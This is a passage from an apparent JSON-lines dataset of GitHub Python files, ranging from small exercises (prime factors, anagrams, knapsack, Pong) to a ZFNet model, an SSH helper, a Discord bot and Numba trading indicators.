True\r\n\t\telse:\r\n\t\t\texist = False\r\n\t\t\terror = 0\r\n\t\tif(show['mask']):\r\n\t\t\tcv2.imshow('mask',mask)\r\n\t\tif(show['mask result']):\r\n\t\t\tcv2.imshow('mask result',mask_res)\r\n\r\n\tcv2.imshow('result',res)\r\n\tif(show['original']):\r\n\t\tcv2.imshow('original',img)\r\n\r\n\t#send to arduino\r\n\tif(exist and ard_send):\r\n\t\theight, width, _ = img.shape\r\n\t\terror=round(8*center/width)\r\n\t\tprint(error)\r\n\t\tser.write((str(error)+'\\n').encode())\r\n\tk = cv2.waitKey(5) & 0xFF\r\n\tif k == ord('k'):\r\n\t\tbreak\r\n\r\nif( ard_send):\r\n\tser.close()\r\ncv2.destroyAllWindows()\t","repo_name":"alex-bene/color-face_follower","sub_path":"color_face_follow.py","file_name":"color_face_follow.py","file_ext":"py","file_size_in_byte":3973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33820773798","text":"num=int(input('Enter positive integer: '))\n\nif num<=0:\n print('Invalid number.')\nelif num==1:\n pass\nelse:\n count=1\n \n while num>1:\n \n if num%2==0:\n num=num//2\n print('2')\n \n elif num%3==0:\n num=num//3\n print('3')\n \n elif num%5==0:\n num=num//5\n print('5')\n \n elif num%7==0:\n num=num//7\n print('7')\n elif num%2!=0 and num%3!=0 and num%5!=0 and num%7!=0:\n print('%d'%num)\n break","repo_name":"tannce/IntroLab2015","sub_path":"Lab7/composite_prime_number.py","file_name":"composite_prime_number.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14694424405","text":"from collections import defaultdict, Counter\n\n# def group_anagrams(words):\n# \"\"\"\n# Description: Method storing words into buckets based on char counts\n# \"\"\"\n# # Hash Table for words. key=freqString, value=words with that freq string\n# freqMap = defaultdict(list)\n\n# # Iterate through words\n# for word in words:\n# freqString = ''\n# freqCount = Counter()\n# for char in word:\n# freqCount[char] += 1\n\n# # Make freqString with freqMap\n# for char, freq in freqCount.items():\n# freqString += char + str(freq)\n\n# # Store word in hash table above\n# freqMap[freqString].append(word)\n\n# print(freqMap)\n\n# # For each bucket of words in hash table\n# left = 0\n# right = len(words) - 1\n# for freqString, bucket in freqMap.items():\n\n# # Not anagrams\n# if len(bucket) == 1:\n# words[right] = bucket[0]\n# right -= 1\n\n# # Anagrams\n# elif len(bucket) > 1:\n# for wd in bucket:\n# words[left] = wd\n# left += 1\n\n# return words\n\n\ndef group_anagrams(words):\n \"\"\"\n Description: Method storing words into buckets based on their sorted version\n \"\"\"\n\n # Hash Table for words. key=freqString, value=words with that freq string\n sorted_words_buckets = defaultdict(list)\n\n # Iterate through words\n for word in words:\n\n # Sort word\n sorted_word = ''.join(sorted(word))\n\n # Place sorted word into sorted words buckets\n sorted_words_buckets[sorted_word].append(word)\n\n # For each bucket of words in hash table\n left = 0\n right = len(words) - 1\n for sorted_word, bucket in sorted_words_buckets.items():\n\n # Not anagrams\n if len(bucket) == 1:\n words[right] = bucket[0]\n right -= 1\n\n # Anagrams\n elif len(bucket) > 1:\n for wd in bucket:\n words[left] = wd\n left += 1\n\n return words\n\n\nwords = ['race', 'dsgg', '342', 'acre', 'rice', 'ecar', 'ggsd']\nnew_words = group_anagrams(words)\nprint(new_words)\n","repo_name":"troywsmith/pygo","sub_path":"practice/CTCI/Ch_10_SortingSearching/2_GroupAnagrams.py","file_name":"2_GroupAnagrams.py","file_ext":"py","file_size_in_byte":2133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29038709688","text":"import torch\nfrom torch import Tensor\n\nfrom utils.common import Device\n\n\ndef masked_scaled_mse(\n output: Tensor,\n target: Tensor,\n scale: Tensor,\n node_ids: Tensor,\n mask: Tensor,\n cuda: bool = False,\n) -> Tensor:\n \"\"\"Masked and scaled MSE loss.\n \"\"\"\n\n # Subset `target` to current batch and make dense\n target = target.to(Device())\n target = target.adj_t[node_ids, node_ids].to_dense()\n\n loss = scale * torch.mean(\n mask.reshape((-1, 1)) * torch.mean((output - target) ** 2, dim=-1) * mask\n )\n return loss\n","repo_name":"mega002/bionit","sub_path":"model/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"7418079479","text":"from turtle import Screen, Turtle\r\nfrom paddle import Paddle\r\nfrom ball import Ball\r\nfrom score_board import ScoreBoard\r\nimport time\r\n\r\nscreen = Screen()\r\nscreen.setup(width=800, height=600)\r\nscreen.bgcolor('black')\r\nscreen.title('Pong Ball Game')\r\nscreen.tracer(0)\r\n\r\ndashed_line = Turtle()\r\ndashed_line.hideturtle()\r\ndashed_line.penup()\r\ndashed_line.goto(0, -300)\r\ndashed_line.setheading(90)\r\n'''while dashed_line.position() == (0, 300):'''\r\nfor _ in range(20):\r\n dashed_line.pencolor('white')\r\n dashed_line.pendown()\r\n dashed_line.forward(15)\r\n dashed_line.penup()\r\n dashed_line.forward(15)\r\n\r\npaddle_left = Paddle((-350, 0))\r\npaddle_right = Paddle((350, 0))\r\nball = Ball()\r\nscore_board = ScoreBoard()\r\nscore_board.scores()\r\n\r\nscreen.listen()\r\nscreen.onkey(fun=paddle_left.up, key=\"q\")\r\nscreen.onkey(fun=paddle_left.down, key='a')\r\nscreen.onkey(fun=paddle_right.up, key=\"p\")\r\nscreen.onkey(fun=paddle_right.down, key='l')\r\n\r\n\r\ngame_is_on = True\r\nwhile game_is_on:\r\n time.sleep(0.05)\r\n screen.update()\r\n ball.move()\r\n\r\n # Detecting collision with wall\r\n if ball.ycor() > 280 or ball.ycor() < -280:\r\n ball.bounce()\r\n\r\n # Detect collision with paddle\r\n if ball.xcor() > 320 and ball.distance(paddle_right) < 50:\r\n ball.hit_the_paddle()\r\n elif ball.xcor() < -320 and ball.distance(paddle_left) < 50:\r\n ball.hit_the_paddle()\r\n\r\n if ball.xcor() > 400:\r\n score_board.hit_a_l_score()\r\n ball.refresh()\r\n elif ball.xcor() < -400:\r\n score_board.hit_a_r_score()\r\n ball.refresh()\r\n\r\n if score_board.game_end():\r\n game_is_on = False\r\n\r\nball.move()\r\n\r\n\r\n","repo_name":"sandu-o-O/Pong-Ball","sub_path":"pongball_game/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27278978781","text":"# dp = [[-1]*4]*52\ndp = [[-1 for i in range(52)] for j in range(5)]\n\n\n# exit(1)\ndef max_value(wgt,vals,C,n):\n\n if n==0 or C==0:\n return 0\n print('n = ',n)\n print('c = ',C)\n if dp[n-1][C]!=-1:\n print('Present , ans = ',dp[n-1][C])\n return dp[n-1][C]\n if wgt[n-1] <=C:\n ans= max(vals[n-1]+max_value(wgt,vals,C-wgt[n-1],n-1),\n max_value(wgt,vals,C,n-1))\n dp[n-1][C]=ans\n return ans\n if wgt[n-1]>C:\n ans= max_value(wgt,vals,C,n-1)\n dp[n-1][C]=ans\n return ans\n\n\nif __name__ == '__main__':\n val = [60, 100, 120]\n wt = [10, 20, 30]\n W = 50\n n = len(val)\n ans = max_value(wgt=wt,vals=val,C=W,n=n)\n print('max profit = {}'.format(ans))\n\n","repo_name":"smzgit/DSA-python","sub_path":"17_Dynamic Programming/1_zero_one_KnapSack.py","file_name":"1_zero_one_KnapSack.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18675855746","text":"\"\"\"\n ZFNet for ImageNet-1K, implemented in Chainer.\n Original paper: 'Visualizing and Understanding Convolutional Networks,' https://arxiv.org/abs/1311.2901.\n\"\"\"\n\n__all__ = ['zfnet', 'zfnetb']\n\nimport os\nfrom chainer.serializers import load_npz\nfrom .alexnet import AlexNet\n\n\ndef get_zfnet(version=\"a\",\n model_name=None,\n pretrained=False,\n root=os.path.join(\"~\", \".chainer\", \"models\"),\n **kwargs):\n \"\"\"\n Create ZFNet model with specific parameters.\n\n Parameters:\n ----------\n version : str, default 'a'\n Version of ZFNet ('a' or 'b').\n model_name : str or None, default None\n Model name for loading pretrained model.\n pretrained : bool, default False\n Whether to load the pretrained weights for model.\n root : str, default '~/.chainer/models'\n Location for keeping the model parameters.\n \"\"\"\n if version == \"a\":\n channels = [[96], [256], [384, 384, 256]]\n ksizes = [[7], [5], [3, 3, 3]]\n strides = [[2], [2], [1, 1, 1]]\n pads = [[1], [0], [1, 1, 1]]\n use_lrn = True\n elif version == \"b\":\n channels = [[96], [256], [512, 1024, 512]]\n ksizes = [[7], [5], [3, 3, 3]]\n strides = [[2], [2], [1, 1, 1]]\n pads = [[1], [0], [1, 1, 1]]\n use_lrn = True\n else:\n raise ValueError(\"Unsupported ZFNet version {}\".format(version))\n\n net = AlexNet(\n channels=channels,\n ksizes=ksizes,\n strides=strides,\n pads=pads,\n use_lrn=use_lrn,\n **kwargs)\n\n if pretrained:\n if (model_name is None) or (not model_name):\n raise ValueError(\"Parameter `model_name` should be properly initialized for loading pretrained model.\")\n from .model_store import get_model_file\n load_npz(\n file=get_model_file(\n model_name=model_name,\n local_model_store_dir_path=root),\n obj=net)\n\n return net\n\n\ndef zfnet(**kwargs):\n \"\"\"\n ZFNet model from 'Visualizing and Understanding Convolutional Networks,' https://arxiv.org/abs/1311.2901.\n\n Parameters:\n ----------\n pretrained : bool, default False\n Whether to load the pretrained weights for model.\n root : str, default '~/.chainer/models'\n Location for keeping the model parameters.\n \"\"\"\n return get_zfnet(model_name=\"zfnet\", **kwargs)\n\n\ndef zfnetb(**kwargs):\n \"\"\"\n ZFNet-b model from 'Visualizing and Understanding Convolutional Networks,' https://arxiv.org/abs/1311.2901.\n\n Parameters:\n ----------\n pretrained : bool, default False\n Whether to load the pretrained weights for model.\n root : str, default '~/.chainer/models'\n Location for keeping the model parameters.\n \"\"\"\n return get_zfnet(version=\"b\", model_name=\"zfnetb\", **kwargs)\n\n\ndef _test():\n import numpy as np\n import chainer\n\n chainer.global_config.train = False\n\n pretrained = False\n\n models = [\n zfnet,\n zfnetb,\n ]\n\n for model in models:\n net = model(pretrained=pretrained)\n weight_count = net.count_params()\n print(\"m={}, {}\".format(model.__name__, weight_count))\n assert (model != zfnet or weight_count == 62357608)\n assert (model != zfnetb or weight_count == 107627624)\n\n x = np.zeros((1, 3, 224, 224), np.float32)\n y = net(x)\n assert (y.shape == (1, 1000))\n\n\nif __name__ == \"__main__\":\n _test()\n","repo_name":"osmr/imgclsmob","sub_path":"chainer_/chainercv2/models/zfnet.py","file_name":"zfnet.py","file_ext":"py","file_size_in_byte":3469,"program_lang":"python","lang":"en","doc_type":"code","stars":2864,"dataset":"github-code","pt":"37"} +{"seq_id":"10384111135","text":"import discord\nfrom google.cloud import language_v1 #will be using Google's Perspective AI\n\nclient = discord.Client()\n\n@client.event\nasync def on_ready():\n print('Logged in through {0.user}'.format(client))\n\n@client.event\nasync def on_message(message):\n if message.content.startswith('!toxic_bot'):\n user_message = message.content.split('!toxic_bot')[1].strip()\n\n client = language_v1.LanguageServiceClient()\n document = language_v1.Document(content=user_message, type_=language_v1.Document.Type.PLAIN_TEXT)\n response = client.analyze_sentiment(request={'document': document, 'features': {'extract_document_sentiment': True, 'extract_entity_sentiment': False, 'extract_syntax': False}})\n\n # toxic %\n toxicity_percentage = round(response.document_sentiment.score * 100, 2)\n\n await message.channel.send(f'The toxicity percentage of your message is {toxicity_percentage}%.')\n\nclient.run('DISCORD_BOT_TOKEN')\n","repo_name":"AbhiAlest/Toxicity-Discord-Bot","sub_path":"Python Implementation/toxic.py","file_name":"toxic.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13515330224","text":"import logging\n\nimport requests\n\n\nlogger = logging.getLogger(__name__)\n\n\nHUD_COUNSELORS_URL = (\n \"https://data.hud.gov/Housing_Counselor/searchByLocation?\"\n \"Lat=38.8951&Long=-77.0367&Distance=5000\"\n)\n\nHUD_LANGUAGES_URL = \"https://data.hud.gov/Housing_Counselor/getLanguages\"\n\nHUD_SERVICES_URL = \"https://data.hud.gov/Housing_Counselor/getServices\"\n\n\ndef fetch_counselors():\n \"\"\"Download housing counselor data from HUD.\n\n This class fetches housing counselor data from data.hud.gov and also\n expands any language and service abbreviations contained within.\n \"\"\"\n counselors = download_housing_counselors(HUD_COUNSELORS_URL)\n\n for key, url in (\n (\"languages\", HUD_LANGUAGES_URL),\n (\"services\", HUD_SERVICES_URL),\n ):\n replace_abbreviations(counselors, key, url)\n\n return counselors\n\n\ndef download_housing_counselors(url):\n \"\"\"Download HUD counselors from a given URL.\"\"\"\n logger.info(\"Downloading HUD counselors from %s\", url)\n counselors = get_json_from_url(url)\n\n if not counselors:\n raise RuntimeError(\"Could not download HUD counselors\")\n\n logger.info(\"Retrieved %d counselors\", len(counselors))\n return counselors\n\n\ndef replace_abbreviations(counselors, attribute, url):\n \"\"\"Replace attribute abbreviations with names from a given URL.\"\"\"\n logger.info(\"Downloading counselor %s from %s\", attribute, url)\n values = get_json_from_url(url)\n values_dict = dict((lang[\"key\"], lang[\"value\"]) for lang in values)\n\n for counselor in counselors:\n abbreviations = counselor[attribute]\n counselor[attribute] = list(\n map(\n lambda key: values_dict[key],\n abbreviations.split(\",\") if abbreviations else [],\n )\n )\n\n\ndef get_json_from_url(url):\n \"\"\"Retrieve JSON from a URL, raising on failure.\"\"\"\n response = requests.get(url)\n response.raise_for_status()\n return response.json()\n","repo_name":"cfpb/consumerfinance.gov","sub_path":"cfgov/housing_counselor/fetcher.py","file_name":"fetcher.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","stars":241,"dataset":"github-code","pt":"37"} +{"seq_id":"22228027715","text":"# File: ExpressionTree.py\n\n# Description: We took an expression and evaluated it using a Stack and Tree. \n\n# Course Name: CS 313E\n\n# Unique Number: 50845 & 50850\n\n# Date Created: 11/12/2020\n\n# Date Last Modified: 11/13/2020\nimport sys\n\n\nclass Stack(object):\n def __init__(self):\n self.stack = []\n\n # add an item to the top of the stack\n def push(self, item):\n self.stack.append(item)\n\n # remove an item from the top of the stack\n def pop(self):\n return self.stack.pop()\n\n # check what item is on top of the stack without removing it\n def peek(self):\n return self.stack[len(self.stack) - 1]\n\n # check if a stack is empty\n def isEmpty(self):\n return len(self.stack) == 0\n\n # return the number of elements in the stack\n def size(self):\n return len(self.stack)\n\n\nclass Node(object):\n def __init__(self, data):\n self.data = data\n self.lChild = None\n self.rChild = None\n\n\nclass Tree(object):\n def __init__(self):\n self.root = Node(None)\n\n def create_tree(self, expr):\n parent = Stack()\n current = self.root\n expression = expr.split()\n\n for token in expression:\n if token == '(':\n parent.push(current)\n current.lChild = Node(None)\n current = current.lChild\n elif token in ['+', '-', '*', '/', '//', '%', '**']:\n current.data = token\n parent.push(current)\n current.rChild = Node(None)\n current = current.rChild\n elif token.isdigit() or '.' in token:\n current.data = token\n current = parent.pop()\n elif token == ')':\n if not parent.isEmpty():\n current = parent.pop()\n else:\n break\n\n def evaluate(self, aNode):\n # if aNode is None:\n # return 0\n # if aNode.lChild is None and aNode.rChild is None:\n # return int(aNode.data)\n\n if aNode.data == '+':\n return self.evaluate(aNode.lChild) + self.evaluate(aNode.rChild)\n elif aNode.data == '-':\n return self.evaluate(aNode.lChild) - self.evaluate(aNode.rChild)\n elif aNode.data == '*':\n return self.evaluate(aNode.lChild) * self.evaluate(aNode.rChild)\n elif aNode.data == '/':\n return self.evaluate(aNode.lChild) / self.evaluate(aNode.rChild)\n elif aNode.data == '//':\n return self.evaluate(aNode.lChild) // self.evaluate(aNode.rChild)\n elif aNode.data == '%':\n return self.evaluate(aNode.lChild) % self.evaluate(aNode.rChild)\n elif aNode.data == '**':\n return self.evaluate(aNode.lChild) ** self.evaluate(aNode.rChild)\n elif aNode.data.isdigit() or '.' in aNode.data:\n return eval(aNode.data)\n\n def pre_order(self, aNode):\n if aNode is not None:\n print(aNode.data, end=' ')\n self.pre_order(aNode.lChild)\n self.pre_order(aNode.rChild)\n\n def post_order(self, aNode):\n if aNode is not None:\n self.post_order(aNode.lChild)\n self.post_order(aNode.rChild)\n print(aNode.data, end=' ')\n\n\ndef main():\n # read infix expression\n line = sys.stdin.readline()\n expr = line.strip()\n\n # evaluate the expression and print the result\n expr_tree = Tree()\n expr_tree.create_tree(expr)\n print(expr, '=', float(expr_tree.evaluate(expr_tree.root)))\n print()\n\n # get the prefix version of the expression and print\n print('Prefix Expression:', end=' ')\n expr_tree.pre_order(expr_tree.root)\n print('\\n')\n\n # get the postfix version of the expression and print\n print('Postfix Expression:', end=' ')\n expr_tree.post_order(expr_tree.root)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ethancavazos/Data-Structures-And-Algos-Portfolio","sub_path":"ExpressionTree.py","file_name":"ExpressionTree.py","file_ext":"py","file_size_in_byte":3892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13997020457","text":"import paramiko\nimport logging\n\n\nclass SSHManage(object):\n def create_ssh_connection(self, host, user, key_filename):\n try:\n ssh = paramiko.SSHClient()\n ssh.load_system_host_keys()\n ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n ssh.connect(host, 22, username=user, key_filename=key_filename)\n return ssh\n except Exception as e:\n logging.INFO(e)\n\n def ssh_read_data(self, host, path_file, key_filename, login):\n text = ''\n try:\n ssh_connect = self.create_ssh_connection(host, login, key_filename)\n sftp = ssh_connect.open_sftp()\n with sftp.open('{}'.format(path_file), 'r')as file_edit:\n text_data = file_edit.read()\n text = text_data\n sftp.close()\n except Exception as e:\n logging.INFO(e)\n finally:\n if ssh_connect:\n ssh_connect.close()\n return text\n\n\n def ssh_rem_comand(self, host, user, key_filename, command):\n \"\"\"\n This could restart shorewall via ssh with check (check:'yes') and other services without check service.\n :param host: host\n :param name_service: service of linux(ipsec or shorewall)\n :param check: use 'yes' for check shorewall\n :return: None\n #/usr/bin/fetchmail -k\n \"\"\"\n try:\n ssh_connect = self.create_ssh_connection(host, user, key_filename)\n stdin, stdout, stderr = ssh_connect.exec_command('{}'.format(command))\n print(stdout.readlines())\n except Exception as e:\n print(e)\n finally:\n if ssh_connect:\n ssh_connect.close()","repo_name":"Oleh-Hrebchuk/WakeOnLanViaMail","sub_path":"c_ssh_manager.py","file_name":"c_ssh_manager.py","file_ext":"py","file_size_in_byte":1760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25583549852","text":"\"\"\"\r\nMIT License\r\n\r\nCopyright (c) 2021 RomFR57 rom.fr57@gmail.com\r\n\r\nPermission is hereby granted, free of charge, to any person obtaining a copy\r\nof this software and associated documentation files (the \"Software\"), to deal\r\nin the Software without restriction, including without limitation the rights\r\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\r\ncopies of the Software, and to permit persons to whom the Software is\r\nfurnished to do so, subject to the following conditions:\r\n\r\nThe above copyright notice and this permission notice shall be included in all\r\ncopies or substantial portions of the Software.\r\n\r\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\nSOFTWARE.\r\n\"\"\"\r\n\r\nfrom math import fabs\r\n\r\nimport numpy as np\r\nfrom numba import jit\r\nfrom numba.extending import overload\r\n\r\n\r\n@overload(np.clip)\r\ndef np_clip(a, a_min, a_max, out=None):\r\n \"\"\"\r\n Numba Overload of np.clip\r\n :type a: np.ndarray\r\n :type a_min: int\r\n :type a_max: int\r\n :type out: np.ndarray\r\n :rtype: np.ndarray\r\n \"\"\"\r\n if out is None:\r\n out = np.empty_like(a)\r\n for i in range(len(a)):\r\n if a[i] < a_min:\r\n out[i] = a_min\r\n elif a[i] > a_max:\r\n out[i] = a_max\r\n else:\r\n out[i] = a[i]\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef convolve(data, kernel):\r\n \"\"\"\r\n Convolution 1D Array\r\n :type data: np.ndarray\r\n :type kernel: np.ndarray\r\n :rtype: np.ndarray\r\n \"\"\"\r\n size_data = len(data)\r\n size_kernel = len(kernel)\r\n size_out = size_data - size_kernel + 1\r\n out = np.array([np.nan] * size_out)\r\n kernel = np.flip(kernel)\r\n for i in range(size_out):\r\n window = data[i:i + size_kernel]\r\n out[i] = sum([window[j] * kernel[j] for j in range(size_kernel)])\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef sma(data, period):\r\n \"\"\"\r\n Simple Moving Average\r\n :type data: np.ndarray\r\n :type period: int\r\n :rtype: np.ndarray\r\n \"\"\"\r\n size = len(data)\r\n out = np.full(size, np.nan)\r\n for i in range(period - 1, size):\r\n window = data[i - period + 1:i + 1]\r\n out[i] = np.mean(window)\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef wma(data, period):\r\n \"\"\"\r\n Weighted Moving Average\r\n :type data: np.ndarray\r\n :type period: int\r\n :rtype: np.ndarray\r\n \"\"\"\r\n weights = np.arange(period, 0, -1)\r\n weights = weights / weights.sum()\r\n out = convolve(data, weights)\r\n return np.concatenate((np.array([np.nan] * (len(data) - len(out))), out))\r\n\r\n\r\n@jit(nopython=True)\r\ndef cma(data):\r\n \"\"\"\r\n Cumulative Moving Average\r\n :type data: np.ndarray\r\n :rtype: np.ndarray\r\n \"\"\"\r\n size = len(data)\r\n out = np.full(size, np.nan)\r\n last_sum = np.array([np.nan] * size)\r\n last_sum[1] = sum(data[:2])\r\n for i in range(2, size):\r\n last_sum[i] = last_sum[i - 1] + data[i]\r\n out[i] = last_sum[i] / (i + 1)\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef ema(data, period, smoothing=2.0):\r\n \"\"\"\r\n Exponential Moving Average\r\n :type data: np.ndarray\r\n :type period: int\r\n :type smoothing: float\r\n :rtype: np.ndarray\r\n \"\"\"\r\n size = len(data)\r\n weight = smoothing / (period + 1)\r\n out = np.full(size, np.nan)\r\n out[0] = data[0]\r\n for i in range(1, size):\r\n out[i] = (data[i] * weight) + (out[i - 1] * (1 - weight))\r\n out[:period - 1] = np.nan\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef ewma(data, period, alpha=1.0):\r\n \"\"\"\r\n Exponential Weighted Moving Average\r\n :type data: np.ndarray\r\n :type period: int\r\n :type alpha: float\r\n :rtype: np.ndarray\r\n \"\"\"\r\n weights = (1 - alpha) ** np.arange(period)\r\n weights /= np.sum(weights)\r\n out = convolve(data, weights)\r\n return np.concatenate((np.array([np.nan] * (len(data) - len(out))), out))\r\n\r\n\r\n@jit(nopython=True)\r\ndef dema(data, period, smoothing=2.0):\r\n \"\"\"\r\n Double Exponential Moving Average\r\n :type data: np.ndarray\r\n :type period: int\r\n :type smoothing: float\r\n :rtype: np.ndarray\r\n \"\"\"\r\n return (2 * ema(data, period, smoothing)) - ema(ema(data, period, smoothing), period, smoothing)\r\n\r\n\r\n@jit(nopython=True)\r\ndef trix(data, period, smoothing=2.0):\r\n \"\"\"\r\n Triple Exponential Moving Average\r\n :type data: np.ndarray\r\n :type period: int\r\n :type smoothing: float\r\n :rtype: np.ndarray\r\n \"\"\"\r\n return ((3 * ema(data, period, smoothing) - (3 * ema(ema(data, period, smoothing), period, smoothing))) +\r\n ema(ema(ema(data, period, smoothing), period, smoothing), period, smoothing))\r\n\r\n\r\n@jit(nopython=True)\r\ndef macd(data, fast, slow, smoothing=2.0):\r\n \"\"\"\r\n Moving Average Convergence Divergence\r\n :type data: np.ndarray\r\n :type fast: int\r\n :type slow: int\r\n :type smoothing: float\r\n :rtype: np.ndarray\r\n \"\"\"\r\n return ema(data, fast, smoothing) - ema(data, slow, smoothing)\r\n\r\n\r\n@jit(nopython=True)\r\ndef stoch(c_close, c_high, c_low, period_k, period_d):\r\n \"\"\"\r\n Stochastic\r\n :type c_close: np.ndarray\r\n :type c_high: np.ndarray\r\n :type c_low: np.ndarray\r\n :type period_k: int\r\n :type period_d: int\r\n :rtype: (np.ndarray, np.ndarray)\r\n \"\"\"\r\n size = len(c_close)\r\n k = np.array([np.nan] * size)\r\n for i in range(period_k - 1, size):\r\n e = i + 1\r\n s = e - period_k\r\n ml = np.min(c_low[s:e])\r\n k[i] = ((c_close[i] - ml) / (np.max(c_high[s:e]) - ml)) * 100\r\n return k, sma(k, period_d)\r\n\r\n\r\n@jit(nopython=True)\r\ndef kdj(c_close, c_high, c_low, period_rsv=9, period_k=3, period_d=3, weight_k=3, weight_d=2):\r\n \"\"\"\r\n KDJ\r\n :type c_close: np.ndarray\r\n :type c_high: np.ndarray\r\n :type c_low: np.ndarray\r\n :type period_rsv: int\r\n :type period_k: int\r\n :type period_d: int\r\n :type weight_k: int\r\n :type weight_d: int\r\n :rtype: (np.ndarray, np.ndarray, np.ndarray)\r\n \"\"\"\r\n size = len(c_close)\r\n rsv = np.array([np.nan] * size)\r\n for i in range(period_k - 1, size):\r\n e = i + 1\r\n s = e - period_k\r\n ml = np.min(c_low[s:e])\r\n rsv[i] = ((c_close[i] - ml) / (np.max(c_high[s:e]) - ml)) * 100\r\n k = sma(rsv, period_rsv)\r\n d = sma(k, period_d)\r\n return k, d, (weight_k * k) - (weight_d * d)\r\n\r\n\r\n@jit(nopython=True)\r\ndef wpr(c_close, c_high, c_low, period):\r\n \"\"\"\r\n William %R\r\n :type c_close: np.ndarray\r\n :type c_high: np.ndarray\r\n :type c_low: np.ndarray\r\n :type period: int\r\n :rtype: (np.ndarray, np.ndarray)\r\n \"\"\"\r\n size = len(c_close)\r\n out = np.full(size, np.nan)\r\n for i in range(period - 1, size):\r\n e = i + 1\r\n s = e - period\r\n mh = np.max(c_high[s:e])\r\n out[i] = ((mh - c_close[i]) / (mh - np.min(c_low[s:e]))) * -100\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef rsi(data, period, smoothing=2.0, f_sma=True, f_clip=True, f_abs=True):\r\n \"\"\"\r\n Relative Strengh Index\r\n :type data: np.ndarray\r\n :type period: int\r\n :type smoothing: float\r\n :type f_sma: bool\r\n :type f_clip: bool\r\n :type f_abs: bool\r\n :rtype: np.ndarray\r\n \"\"\"\r\n size = len(data)\r\n delta = np.array([np.nan] * size)\r\n up = np.array([np.nan] * size)\r\n down = np.array([np.nan] * size)\r\n delta = np.diff(data)\r\n if f_clip:\r\n up, down = np.clip(delta, a_min=0, a_max=np.max(delta)), np.clip(delta, a_min=np.min(delta), a_max=0)\r\n else:\r\n up, down = delta.copy(), delta.copy()\r\n up[delta < 0] = 0.0\r\n down[delta > 0] = 0.0\r\n if f_abs:\r\n for i, x in enumerate(down):\r\n down[i] = fabs(x)\r\n else:\r\n down = np.abs(down)\r\n rs = sma(up, period) / sma(down, period) if f_sma else ema(up, period - 1, smoothing) / ema(\r\n down, period - 1, smoothing)\r\n out = np.full(size, np.nan)\r\n out[1:] = (100 - 100 / (1 + rs))\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef srsi(data, period, smoothing=2.0, f_sma=True, f_clip=True, f_abs=True):\r\n \"\"\"\r\n Stochastic Relative Strengh Index\r\n :type data: np.ndarray\r\n :type period: int\r\n :type smoothing: float\r\n :type f_sma: bool\r\n :type f_clip: bool\r\n :type f_abs: bool\r\n :rtype: np.ndarray\r\n \"\"\"\r\n r = rsi(data, period, smoothing, f_sma, f_clip, f_abs)[period:]\r\n s = np.array([np.nan] * len(r))\r\n for i in range(period - 1, len(r)):\r\n window = r[i + 1 - period:i + 1]\r\n mw = np.min(window)\r\n s[i] = ((r[i] - mw) / (np.max(window) - mw)) * 100\r\n return np.concatenate((np.array([np.nan] * (len(data) - len(s))), s))\r\n\r\n\r\n@jit(nopython=True)\r\ndef cmo(c_close, period, f_sma=True, f_clip=True, f_abs=True):\r\n \"\"\"\r\n Chande Momentum Oscillator\r\n :type c_close: np.ndarray\r\n :type period: int\r\n :type f_sma: bool\r\n :type f_clip: bool\r\n :type f_abs: bool\r\n :rtype: np.ndarray\r\n \"\"\"\r\n size = len(c_close)\r\n deltas = np.array([np.nan] * size)\r\n sums_up = np.array([np.nan] * size)\r\n sums_down = np.array([np.nan] * size)\r\n for i in range(period - 1, size):\r\n window = c_close[i + 1 - period:i + 1]\r\n d = np.diff(window)\r\n if f_clip:\r\n up, down = np.clip(d, a_min=0, a_max=np.max(d)), np.clip(d, a_min=np.min(d), a_max=0)\r\n else:\r\n up, down = d.copy(), d.copy()\r\n up[d < 0] = 0.0\r\n down[d > 0] = 0.0\r\n if f_abs:\r\n for j, x in enumerate(down):\r\n down[j] = fabs(x)\r\n else:\r\n down = np.abs(down)\r\n sums_up[i] = sum(up)\r\n sums_down[i] = sum(down)\r\n return 100 * ((sums_up - sums_down) / (sums_up + sums_down))\r\n\r\n\r\n@jit(nopython=True)\r\ndef bollinger_bands(data, period, dev_up=2.0, dev_down=2.0):\r\n \"\"\"\r\n Bollinger Bands\r\n :type data: np.ndarray\r\n :type period: int\r\n 